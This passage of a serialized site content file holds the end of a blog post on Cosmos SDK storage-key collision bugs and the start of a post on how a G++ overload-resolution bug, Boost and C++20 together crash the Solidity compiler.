Imagine a scenario where both ",{"type":23,"tag":94,"props":88465,"children":88467},{"className":88466},[],[88468],{"type":28,"value":88469},"vaultId = 1",{"type":28,"value":557},{"type":23,"tag":94,"props":88472,"children":88474},{"className":88473},[],[88475],{"type":28,"value":88476},"vaultId = 10",{"type":28,"value":88478}," coexist. If we try to fetch data under ",{"type":23,"tag":94,"props":88480,"children":88482},{"className":88481},[],[88483],{"type":28,"value":88469},{"type":28,"value":88485},", all entries under ",{"type":23,"tag":94,"props":88487,"children":88489},{"className":88488},[],[88490],{"type":28,"value":88476},{"type":28,"value":88492}," will also be returned simply because ",{"type":23,"tag":94,"props":88494,"children":88496},{"className":88495},[],[88497],{"type":28,"value":3267},{"type":28,"value":88499}," is a prefix of ",{"type":23,"tag":94,"props":88501,"children":88503},{"className":88502},[],[88504],{"type":28,"value":88505},"10",{"type":28,"value":88507},". To fix this, we must once again append the ",{"type":23,"tag":94,"props":88509,"children":88511},{"className":88510},[],[88512],{"type":28,"value":88513},"Separator",{"type":28,"value":88515}," to the iterator prefix.",{"type":23,"tag":304,"props":88517,"children":88519},{"code":88518,"language":75417,"meta":7,"className":75418,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[88520],{"type":23,"tag":94,"props":88521,"children":88522},{"__ignoreMap":7},[88523,88550,88562,88615],{"type":23,"tag":314,"props":88524,"children":88525},{"class":316,"line":317},[88526,88530,88534,88538,88542,88546],{"type":23,"tag":314,"props":88527,"children":88528},{"style":360},[88529],{"type":28,"value":2993},{"type":23,"tag":314,"props":88531,"children":88532},{"style":354},[88533],{"type":28,"value":75669},{"type":23,"tag":314,"props":88535,"children":88536},{"style":360},[88537],{"type":28,"value":77893},{"type":23,"tag":314,"props":88539,"children":88540},{"style":338},[88541],{"type":28,"value":282},{"type":23,"tag":314,"props":88543,"children":88544},{"style":332},[88545],{"type":28,"value":87708},{"type":23,"tag":314,"props":88547,"children":88548},{"style":338},[88549],{"type":28,"value":2719},{"type":23,"tag":314,"props":88551,"children":88552},{"class":316,"line":370},[88553,88558],{"type":23,"tag":314,"props":88554,"children":88555},{"style":360},[88556],{"type":28,"value":88557}," kvStore",{"type":23,"tag":314,"props":88559,"children":88560},{"style":338},[88561],{"type":28,"value":1870},{"type":23,"tag":314,"props":88563,"children":88564},{"class":316,"line":380},[88565,88570,88574,88578,88582,88587,88591,88595,88599,88603,88607,88611],{"type":23,"tag":314,"props":88566,"children":88567},{"style":360},[88568],{"type":28,"value":88569}," fmt",{"type":23,"tag":314,"props":88571,"children":88572},{"style":338},[88573],{"type":28,"value":282},{"type":23,"tag":314,"props":88575,"children":88576},{"style":332},[88577],{"type":28,"value":84475},{"type":23,"tag":314,"props":88579,"children":88580},{"style":338},[88581],{"type":28,"value":341},{"type":23,"tag":314,"props":88583,"children":88584},{"style":1245},[88585],{"type":28,"value":88586},"\"%s%d%s\"",{"type":23,"tag":314,"props":88588,"children":88589},{"style":338},[88590],{"type":28,"value":778},{"type":23,"tag":314,"props":88592,"children":88593},{"style":360},[88594],{"type":28,"value":87758},{"type":23,"tag":314,"props":88596,"children":88597},{"style":338},[88598],{"type":28,"value":778},{"type":23,"tag":314,"props":88600,"children":88601},{"style":360},[88602],{"type":28,"value":87543},{"type":23,"tag":314,"props":88604,"children":88605},{"style":338},[88606],{"type":28,"value":778},{"type":23,"tag":314,"props":88608,"children":88609},{"style":360},[88610],{"type":28,"value":87874},{"type":23,"tag":314,"props":88612,"children":88613},{"style":338},[88614],{"type":28,"value":5992},{"type":23,"tag":314,"props":88616,"children":88617},{"class":316,"line":1091},[88618],{"type":23,"tag":314,"props":88619,"children":88620},{"style":338},[88621],{"type":28,"value":2414},{"type":23,"tag":24,"props":88623,"children":88624},{},[88625,88627,88632],{"type":28,"value":88626},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":94,"props":88628,"children":88630},{"className":88629},[],[88631],{"type":28,"value":84229},{"type":28,"value":88633}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":24,"props":88635,"children":88636},{},[88637],{"type":28,"value":88638},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":837,"props":88640,"children":88642},{"id":88641},"real-world-examples-5",[88643],{"type":28,"value":75941},{"type":23,"tag":24,"props":88645,"children":88646},{},[88647,88648,88653,88655,88662,88664,88670],{"type":28,"value":92},{"type":23,"tag":94,"props":88649,"children":88651},{"className":88650},[],[88652],{"type":28,"value":77714},{"type":28,"value":88654}," previously lacked protection against KVStore ",{"type":23,"tag":31,"props":88656,"children":88659},{"href":88657,"rel":88658},"https://github.com/cosmos/cosmos-sdk/pull/9363",[35],[88660],{"type":28,"value":88661},"key collisions",{"type":28,"value":88663},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":94,"props":88665,"children":88667},{"className":88666},[],[88668],{"type":28,"value":88669},"KVStores",{"type":28,"value":88671}," that were not independent of each other.",{"type":23,"tag":24,"props":88673,"children":88674},{},[88675],{"type":23,"tag":31,"props":88676,"children":88679},{"href":88677,"rel":88678},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[35],[88680],{"type":28,"value":75991},{"type":23,"tag":304,"props":88682,"children":88684},{"code":88683,"language":75417,"meta":7,"className":75418,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[88685],{"type":23,"tag":94,"props":88686,"children":88687},{"__ignoreMap":7},[88688,88750,88798,88834,88874,88881,88888,88900],{"type":23,"tag":314,"props":88689,"children":88690},{"class":316,"line":317},[88691,88695,88700,88704,88709,88713,88717,88721,88725,88729,88733,88737,88741,88746],{"type":23,"tag":314,"props":88692,"children":88693},{"style":321},[88694],{"type":28,"value":75553},{"type":23,"tag":314,"props":88696,"children":88697},{"style":332},[88698],{"type":28,"value":88699}," NewKVStoreKeys",{"type":23,"tag":314,"props":88701,"children":88702},{"style":338},[88703],{"type":28,"value":341},{"type":23,"tag":314,"props":88705,"children":88706},{"style":360},[88707],{"type":28,"value":88708},"names",{"type":23,"tag":314,"props":88710,"children":88711},{"style":354},[88712],{"type":28,"value":24545},{"type":23,"tag":314,"props":88714,"children":88715},{"style":2674},[88716],{"type":28,"value":28915},{"type":23,"tag":314,"props":88718,"children":88719},{"style":338},[88720],{"type":28,"value":2343},{"type":23,"tag":314,"props":88722,"children":88723},{"style":321},[88724],{"type":28,"value":66355},{"type":23,"tag":314,"props":88726,"children":88727},{"style":338},[88728],{"type":28,"value":1312},{"type":23,"tag":314,"props":88730,"children":88731},{"style":2674},[88732],{"type":28,"value":28915},{"type":23,"tag":314,"props":88734,"children":88735},{"style":338},[88736],{"type":28,"value":14653},{"type":23,"tag":314,"props":88738,"children":88739},{"style":354},[88740],{"type":28,"value":256},{"type":23,"tag":314,"props":88742,"children":88743},{"style":2674},[88744],{"type":28,"value":88745},"KVStoreKey",{"type":23,"tag":314,"props":88747,"children":88748},{"style":338},[88749],{"type":28,"value":1449},{"type":23,"tag":314,"props":88751,"children":88752},{"class":316,"line":370},[88753,88758,88762,88766,88770,88774,88778,88782,88786,88790,88794],{"type":23,"tag":314,"props":88754,"children":88755},{"style":360},[88756],{"type":28,"value":88757}," keys",{"type":23,"tag":314,"props":88759,"children":88760},{"style":354},[88761],{"type":28,"value":75669},{"type":23,"tag":314,"props":88763,"children":88764},{"style":332},[88765],{"type":28,"value":84816},{"type":23,"tag":314,"props":88767,"children":88768},{"style":338},[88769],{"type":28,"value":341},{"type":23,"tag":314,"props":88771,"children":88772},{"style":321},[88773],{"type":28,"value":66355},{"type":23,"tag":314,"props":88775,"children":88776},{"style":338},[88777],{"type":28,"value":1312},{"type":23,"tag":314,"props":88779,"children":88780},{"style":2674},[88781],{"type":28,"value":28915},{"type":23,"tag":314,"props":88783,"children":88784},{"style":338},[88785],{"type":28,"value":14653},{"type":23,"tag":314,"props":88787,"children":88788},{"style":354},[88789],{"type":28,"value":256},{"type":23,"tag":314,"props":88791,"children":88792},{"style":2674},[88793],{"type":28,"value":88745},{"type":23,"tag":314,"props":88795,"children":88796},{"style":338},[88797],{"type":28,"value":2414},{"type":23,"tag":314,"props":88799,"children":88800},{"class":316,"line":380},[88801,88805,88809,88813,88817,88821,88825,88830],{"type":23,"tag":314,"props":88802,"children":88803},{"style":2284},[88804],{"type":28,"value":2287},{"type":23,"tag":314,"props":88806,"children":88807},{"style":360},[88808],{"type":28,"value":2292},{"type":23,"tag":314,"props":88810,"children":88811},{"style":338},[88812],{"type":28,"value":778},{"type":23,"tag":314,"props":88814,"children":88815},{"style":360},[88816],{"type":28,"value":47748},{"type":23,"tag":314,"props":88818,"children":88819},{"style":354},[88820],{"type":28,"value":75669},{"type":23,"tag":314,"props":88822,"children":88823},{"style":2284},[88824],{"type":28,"value":76651},{"type":23,"tag":314,"props":88826,"children":88827},{"style":360},[88828],{"type":28,"value":88829}," names",{"type":23,"tag":314,"props":88831,"children":88832},{"style":338},[88833],{"type":28,"value":1449},{"type":23,"tag":314,"props":88835,"children":88836},{"class":316,"line":1091},[88837,88841,88845,88849,88853,88857,88862,88866,88870],{"type":23,"tag":314,"props":88838,"children":88839},{"style":360},[88840],{"type":28,"value":24577},{"type":23,"tag":314,"props":88842,"children":88843},{"style":338},[88844],{"type":28,"value":1312},{"type":23,"tag":314,"props":88846,"children":88847},{"style":360},[88848],{"type":28,"value":47748},{"type":23,"tag":314,"props":88850,"children":88851},{"style":338},[88852],{"type":28,"value":1322},{"type":23,"tag":314,"props":88854,"children":88855},{"style":354},[88856],{"type":28,"value":1102},{"type":23,"tag":314,"props":88858,"children":88859},{"style":332},[88860],{"type":28,"value":88861}," NewKVStoreKey",{"type":23,"tag":314,"props":88863,"children":88864},{"style":338},[88865],{"type":28,"value":341},{"type":23,"tag":314,"props":88867,"children":88868},{"style":360},[88869],{"type":28,"value":47748},{"type":23,"tag":314,"props":88871,"children":88872},{"style":338},[88873],{"type":28,"value":2414},{"type":23,"tag":314,"props":88875,"children":88876},{"class":316,"line":1141},[88877],{"type":23,"tag":314,"props":88878,"children":88879},{"style":338},[88880],{"type":28,"value":2610},{"type":23,"tag":314,"props":88882,"children":88883},{"class":316,"line":1173},[88884],{"type":23,"tag":314,"props":88885,"children":88886},{"emptyLinePlaceholder":18},[88887],{"type":28,"value":1088},{"type":23,"tag":314,"props":88889,"children":88890},{"class":316,"line":1208},[88891,88895],{"type":23,"tag":314,"props":88892,"children":88893},{"style":2284},[88894],{"type":28,"value":16228},{"type":23,"tag":314,"props":88896,"children":88897},{"style":360},[88898],{"type":28,"value":88899}," keys\n",{"type":23,"tag":314,"props":88901,"children":88902},{"class":316,"line":1216},[88903],{"type":23,"tag":314,"props":88904,"children":88905},{"style":338},[88906],{"type":28,"value":386},{"type":23,"tag":24,"props":88908,"children":88909},{},[88910,88912,88917,88919,88924,88926,88931],{"type":28,"value":88911},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":94,"props":88913,"children":88915},{"className":88914},[],[88916],{"type":28,"value":77714},{"type":28,"value":88918}," will refuse to run if any ",{"type":23,"tag":94,"props":88920,"children":88922},{"className":88921},[],[88923],{"type":28,"value":84229},{"type":28,"value":88925}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":94,"props":88927,"children":88929},{"className":88928},[],[88930],{"type":28,"value":84229},{"type":28,"value":88932}," level.",{"type":23,"tag":24,"props":88934,"children":88935},{},[88936,88938,88945],{"type":28,"value":88937},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":31,"props":88939,"children":88942},{"href":88940,"rel":88941},"https://github.com/cosmos/cosmos-sdk/issues/12661",[35],[88943],{"type":28,"value":88944},"incorrect iterator behavior",{"type":28,"value":282},{"type":23,"tag":24,"props":88947,"children":88948},{},[88949,88951,88958],{"type":28,"value":88950},"Notably, gradual adoption of the ",{"type":23,"tag":31,"props":88952,"children":88955},{"href":88953,"rel":88954},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[35],[88956],{"type":28,"value":88957},"collections",{"type":28,"value":88959}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":61,"props":88961,"children":88962},{"id":28180},[88963],{"type":28,"value":18185},{"type":23,"tag":24,"props":88965,"children":88966},{},[88967],{"type":28,"value":88968},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":24,"props":88970,"children":88971},{},[88972],{"type":28,"value":88973},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":2096,"props":88975,"children":88976},{},[88977],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":88979},[88980,88981,88984,88987,88990,88993,88996,88999],{"id":28263,"depth":370,"text":28266},{"id":75134,"depth":370,"text":75137,"children":88982},[88983],{"id":75938,"depth":380,"text":75941},{"id":76534,"depth":370,"text":76537,"children":88985},[88986],{"id":77183,"depth":380,"text":75941},{"id":77680,"depth":370,"text":77683,"children":88988},[88989],{"id":78980,"depth":380,"text":75941},{"id":80324,"depth":370,"text":80327,"children":88991},[88992],{"id":80862,"depth":380,"text":75941},{"id":82381,"depth":370,"text":82384,"children":88994},[88995],{"id":83261,"depth":380,"text":75941},{"id":84215,"depth":370,"text":84218,"children":88997},[88998],{"id":88641,"depth":380,"text":75941},{"id":28180,"depth":370,"text":18185},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":89004,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":89005,"description":89006,"author":89007,"image":89008,"date":89010,"tags":89011,"isFeatured":18,"onBlogPage":18,"body":89012,"_type":2117,"_id":91721,"_source":2119,"_file":91722,"_stem":91723,"_extension":2122},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":89009,"height":12871,"width":12871},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[3728,28258],{"type":20,"children":89013,"toc":91705},[89014,89019,89156,89161,89166,89171,89176,89289,89294,89299,89304,89344,89357,89362,89380,89385,89388,89394,89408,89421,89426,89439,89444,89456,89469,89474,89477,89483,89489,89546,89551,89557,89571,89606,89614,89622,89642,89648,89653,90093,90101,90145,90150,90158,90166,90205,90210,90218,90223,90226,90232,90238,90263,90275,90302,90335,90340,90343,90349,90368,90886,90899,90917,90940,90951,90956,91059,91064,91069,91083,91088,91164,91182,91187,91190,91196,91208,91220,91560,91565,91583,91588,91591,91597,91602,91620,91640,91643,91649,91668,91671,91675,91680,91691,91696,91701],{"type":23,"tag":24,"props":89015,"children":89016},{},[89017],{"type":28,"value":89018},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":304,"props":89020,"children":89022},{"code":89021,"language":3728,"meta":7,"className":3729,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[89023],{"type":23,"tag":94,"props":89024,"children":89025},{"__ignoreMap":7},[89026,89034,89052,89059,89076,89118,89142,89149],{"type":23,"tag":314,"props":89027,"children":89028},{"class":316,"line":317},[89029],{"type":23,"tag":314,"props":89030,"children":89031},{"style":374},[89032],{"type":28,"value":89033},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":314,"props":89035,"children":89036},{"class":316,"line":370},[89037,89042,89047],{"type":23,"tag":314,"props":89038,"children":89039},{"style":2284},[89040],{"type":28,"value":89041},"pragma",{"type":23,"tag":314,"props":89043,"children":89044},{"style":321},[89045],{"type":28,"value":89046}," solidity",{"type":23,"tag":314,"props":89048,"children":89049},{"style":338},[89050],{"type":28,"value":89051}," ^0.8.25;\n",{"type":23,"tag":314,"props":89053,"children":89054},{"class":316,"line":380},[89055],{"type":23,"tag":314,"props":89056,"children":89057},{"emptyLinePlaceholder":18},[89058],{"type":28,"value":1088},{"type":23,"tag":314,"props":89060,"children":89061},{"class":316,"line":1091},[89062,89067,89072],{"type":23,"tag":314,"props":89063,"children":89064},{"style":321},[89065],{"type":28,"value":89066},"contract",{"type":23,"tag":314,"props":89068,"children":89069},{"style":2674},[89070],{"type":28,"value":89071}," A",{"type":23,"tag":314,"props":89073,"children":89074},{"style":338},[89075],{"type":28,"value":1449},{"type":23,"tag":314,"props":89077,"children":89078},{"class":316,"line":1141},[89079,89084,89089,89093,89097,89102,89106,89110,89114],{"type":23,"tag":314,"props":89080,"children":89081},{"style":321},[89082],{"type":28,"value":89083}," function",{"type":23,"tag":314,"props":89085,"children":89086},{"style":332},[89087],{"type":28,"value":89088}," a",{"type":23,"tag":314,"props":89090,"children":89091},{"style":338},[89092],{"type":28,"value":13290},{"type":23,"tag":314,"props":89094,"children":89095},{"style":321},[89096],{"type":28,"value":60927},{"type":23,"tag":314,"props":89098,"children":89099},{"style":321},[89100],{"type":28,"value":89101}," pure",{"type":23,"tag":314,"props":89103,"children":89104},{"style":2284},[89105],{"type":28,"value":75246},{"type":23,"tag":314,"props":89107,"children":89108},{"style":338},[89109],{"type":28,"value":2324},{"type":23,"tag":314,"props":89111,"children":89112},{"style":2674},[89113],{"type":28,"value":45417},{"type":23,"tag":314,"props":89115,"children":89116},{"style":338},[89117],{"type":28,"value":367},{"type":23,"tag":314,"props":89119,"children":89120},{"class":316,"line":1173},[89121,89125,89129,89134,89138],{"type":23,"tag":314,"props":89122,"children":89123},{"style":2284},[89124],{"type":28,"value":14985},{"type":23,"tag":314,"props":89126,"children":89127},{"style":1054},[89128],{"type":28,"value":3778},{"type":23,"tag":314,"props":89130,"children":89131},{"style":354},[89132],{"type":28,"value":89133}," **",{"type":23,"tag":314,"props":89135,"children":89136},{"style":1054},[89137],{"type":28,"value":7189},{"type":23,"tag":314,"props":89139,"children":89140},{"style":338},[89141],{"type":28,"value":2278},{"type":23,"tag":314,"props":89143,"children":89144},{"class":316,"line":1208},[89145],{"type":23,"tag":314,"props":89146,"children":89147},{"style":338},[89148],{"type":28,"value":2610},{"type":23,"tag":314,"props":89150,"children":89151},{"class":316,"line":1216},[89152],{"type":23,"tag":314,"props":89153,"children":89154},{"style":338},[89155],{"type":28,"value":386},{"type":23,"tag":24,"props":89157,"children":89158},{},[89159],{"type":28,"value":89160},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":24,"props":89162,"children":89163},{},[89164],{"type":28,"value":89165},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":24,"props":89167,"children":89168},{},[89169],{"type":28,"value":89170},"And yet, it crashes.",{"type":23,"tag":24,"props":89172,"children":89173},{},[89174],{"type":28,"value":89175},"Another minimal example?",{"type":23,"tag":304,"props":89177,"children":89179},{"code":89178,"language":3728,"meta":7,"className":3729,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[89180],{"type":23,"tag":94,"props":89181,"children":89182},{"__ignoreMap":7},[89183,89190,89205,89212,89227,89254,89275,89282],{"type":23,"tag":314,"props":89184,"children":89185},{"class":316,"line":317},[89186],{"type":23,"tag":314,"props":89187,"children":89188},{"style":374},[89189],{"type":28,"value":89033},{"type":23,"tag":314,"props":89191,"children":89192},{"class":316,"line":370},[89193,89197,89201],{"type":23,"tag":314,"props":89194,"children":89195},{"style":2284},[89196],{"type":28,"value":89041},{"type":23,"tag":314,"props":89198,"children":89199},{"style":321},[89200],{"type":28,"value":89046},{"type":23,"tag":314,"props":89202,"children":89203},{"style":338},[89204],{"type":28,"value":89051},{"type":23,"tag":314,"props":89206,"children":89207},{"class":316,"line":380},[89208],{"type":23,"tag":314,"props":89209,"children":89210},{"emptyLinePlaceholder":18},[89211],{"type":28,"value":1088},{"type":23,"tag":314,"props":89213,"children":89214},{"class":316,"line":1091},[89215,89219,89223],{"type":23,"tag":314,"props":89216,"children":89217},{"style":321},[89218],{"type":28,"value":89066},{"type":23,"tag":314,"props":89220,"children":89221},{"style":2674},[89222],{"type":28,"value":89071},{"type":23,"tag":314,"props":89224,"children":89225},{"style":338},[89226],{"type":28,"value":1449},{"type":23,"tag":314,"props":89228,"children":89229},{"class":316,"line":1141},[89230,89234,89238,89242,89246,89250],{"type":23,"tag":314,"props":89231,"children":89232},{"style":321},[89233],{"type":28,"value":89083},{"type":23,"tag":314,"props":89235,"children":89236},{"style":332},[89237],{"type":28,"value":89088},{"type":23,"tag":314,"props":89239,"children":89240},{"style":338},[89241],{"type":28,"value":13290},{"type":23,"tag":314,"props":89243,"children":89244},{"style":321},[89245],{"type":28,"value":60927},{"type":23,"tag":314,"props":89247,"children":89248},{"style":321},[89249],{"type":28,"value":89101},{"type":23,"tag":314,"props":89251,"children":89252},{"style":338},[89253],{"type":28,"value":1449},{"type":23,"tag":314,"props":89255,"children":89256},{"class":316,"line":1173},[89257,89262,89266,89270],{"type":23,"tag":314,"props":89258,"children":89259},{"style":2674},[89260],{"type":28,"value":89261}," uint256",{"type":23,"tag":314,"props":89263,"children":89264},{"style":338},[89265],{"type":28,"value":1312},{"type":23,"tag":314,"props":89267,"children":89268},{"style":1054},[89269],{"type":28,"value":3267},{"type":23,"tag":314,"props":89271,"children":89272},{"style":338},[89273],{"type":28,"value":89274},"] data;\n",{"type":23,"tag":314,"props":89276,"children":89277},{"class":316,"line":1208},[89278],{"type":23,"tag":314,"props":89279,"children":89280},{"style":338},[89281],{"type":28,"value":2610},{"type":23,"tag":314,"props":89283,"children":89284},{"class":316,"line":1216},[89285],{"type":23,"tag":314,"props":89286,"children":89287},{"style":338},[89288],{"type":28,"value":386},{"type":23,"tag":24,"props":89290,"children":89291},{},[89292],{"type":28,"value":89293},"Still crashes.",{"type":23,"tag":24,"props":89295,"children":89296},{},[89297],{"type":28,"value":89298},"So what’s going on?",{"type":23,"tag":24,"props":89300,"children":89301},{},[89302],{"type":28,"value":89303},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":304,"props":89305,"children":89307},{"code":89306,"language":28360,"meta":7,"className":28358,"style":7},"if (*lengthValue == 0) { ... }\n",[89308],{"type":23,"tag":94,"props":89309,"children":89310},{"__ignoreMap":7},[89311],{"type":23,"tag":314,"props":89312,"children":89313},{"class":316,"line":317},[89314,89318,89322,89326,89331,89335,89339],{"type":23,"tag":314,"props":89315,"children":89316},{"style":2284},[89317],{"type":28,"value":14821},{"type":23,"tag":314,"props":89319,"children":89320},{"style":338},[89321],{"type":28,"value":2324},{"type":23,"tag":314,"props":89323,"children":89324},{"style":354},[89325],{"type":28,"value":256},{"type":23,"tag":314,"props":89327,"children":89328},{"style":338},[89329],{"type":28,"value":89330},"lengthValue ",{"type":23,"tag":314,"props":89332,"children":89333},{"style":354},[89334],{"type":28,"value":7828},{"type":23,"tag":314,"props":89336,"children":89337},{"style":1054},[89338],{"type":28,"value":1201},{"type":23,"tag":314,"props":89340,"children":89341},{"style":338},[89342],{"type":28,"value":89343},") { ... }\n",{"type":23,"tag":24,"props":89345,"children":89346},{},[89347,89349,89355],{"type":28,"value":89348},"That single comparison — a ",{"type":23,"tag":94,"props":89350,"children":89352},{"className":89351},[],[89353],{"type":28,"value":89354},"boost::rational",{"type":28,"value":89356}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":24,"props":89358,"children":89359},{},[89360],{"type":28,"value":89361},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":127,"props":89363,"children":89364},{},[89365,89370,89375],{"type":23,"tag":88,"props":89366,"children":89367},{},[89368],{"type":28,"value":89369},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":88,"props":89371,"children":89372},{},[89373],{"type":28,"value":89374},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":88,"props":89376,"children":89377},{},[89378],{"type":28,"value":89379},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":24,"props":89381,"children":89382},{},[89383],{"type":28,"value":89384},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":18031,"props":89386,"children":89387},{},[],{"type":23,"tag":61,"props":89389,"children":89391},{"id":89390},"background-the-setup",[89392],{"type":28,"value":89393},"Background: The Setup",{"type":23,"tag":24,"props":89395,"children":89396},{},[89397,89399,89406],{"type":28,"value":89398},"If you follow the ",{"type":23,"tag":31,"props":89400,"children":89403},{"href":89401,"rel":89402},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[35],[89404],{"type":28,"value":89405},"Solidity build documentation (v0.8.30)",{"type":28,"value":89407},", you'll see it recommends:",{"type":23,"tag":127,"props":89409,"children":89410},{},[89411,89416],{"type":23,"tag":88,"props":89412,"children":89413},{},[89414],{"type":28,"value":89415},"Boost ≥ 1.67",{"type":23,"tag":88,"props":89417,"children":89418},{},[89419],{"type":28,"value":89420},"GCC ≥ 11",{"type":23,"tag":24,"props":89422,"children":89423},{},[89424],{"type":28,"value":89425},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":127,"props":89427,"children":89428},{},[89429,89434],{"type":23,"tag":88,"props":89430,"children":89431},{},[89432],{"type":28,"value":89433},"G++ 11.4.0",{"type":23,"tag":88,"props":89435,"children":89436},{},[89437],{"type":28,"value":89438},"Boost 1.74.0",{"type":23,"tag":24,"props":89440,"children":89441},{},[89442],{"type":28,"value":89443},"So far, so good.",{"type":23,"tag":24,"props":89445,"children":89446},{},[89447,89449,89454],{"type":28,"value":89448},"However, Solidity enabled ",{"type":23,"tag":721,"props":89450,"children":89451},{},[89452],{"type":28,"value":89453},"C++20",{"type":28,"value":89455}," in January 2025:",{"type":23,"tag":2186,"props":89457,"children":89458},{},[89459],{"type":23,"tag":24,"props":89460,"children":89461},{},[89462],{"type":23,"tag":31,"props":89463,"children":89466},{"href":89464,"rel":89465},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[35],[89467],{"type":28,"value":89468},"Enable C++20 in Solidity",{"type":23,"tag":24,"props":89470,"children":89471},{},[89472],{"type":28,"value":89473},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":18031,"props":89475,"children":89476},{},[],{"type":23,"tag":61,"props":89478,"children":89480},{"id":89479},"part-i-a-12-year-old-g-bug-in-overload-resolution",[89481],{"type":28,"value":89482},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":837,"props":89484,"children":89486},{"id":89485},"whats-overload-resolution",[89487],{"type":28,"value":89488},"What’s Overload Resolution?",{"type":23,"tag":24,"props":89490,"children":89491},{},[89492,89494,89500,89502,89508,89510,89515,89517,89522,89524,89530,89532,89537,89538,89544],{"type":28,"value":89493},"In C++, when you write an expression like ",{"type":23,"tag":94,"props":89495,"children":89497},{"className":89496},[],[89498],{"type":28,"value":89499},"a == b",{"type":28,"value":89501},", the compiler chooses among available ",{"type":23,"tag":94,"props":89503,"children":89505},{"className":89504},[],[89506],{"type":28,"value":89507},"operator==",{"type":28,"value":89509}," implementations by comparing their ",{"type":23,"tag":721,"props":89511,"children":89512},{},[89513],{"type":28,"value":89514},"match quality",{"type":28,"value":89516},". A ",{"type":23,"tag":721,"props":89518,"children":89519},{},[89520],{"type":28,"value":89521},"member function",{"type":28,"value":89523}," like ",{"type":23,"tag":94,"props":89525,"children":89527},{"className":89526},[],[89528],{"type":28,"value":89529},"a.operator==(b)",{"type":28,"value":89531}," usually has higher priority than a ",{"type":23,"tag":721,"props":89533,"children":89534},{},[89535],{"type":28,"value":89536},"non-member function",{"type":28,"value":89523},{"type":23,"tag":94,"props":89539,"children":89541},{"className":89540},[],[89542],{"type":28,"value":89543},"operator==(a, b)",{"type":28,"value":89545}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":24,"props":89547,"children":89548},{},[89549],{"type":28,"value":89550},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":837,"props":89552,"children":89554},{"id":89553},"the-bug",[89555],{"type":28,"value":89556},"The Bug",{"type":23,"tag":24,"props":89558,"children":89559},{},[89560,89562,89569],{"type":28,"value":89561},"In 2012, a bug was filed: ",{"type":23,"tag":31,"props":89563,"children":89566},{"href":89564,"rel":89565},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[35],[89567],{"type":28,"value":89568},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":89570},". The issue? In expressions where:",{"type":23,"tag":127,"props":89572,"children":89573},{},[89574,89594],{"type":23,"tag":88,"props":89575,"children":89576},{},[89577,89579,89585,89587,89592],{"type":28,"value":89578},"A class 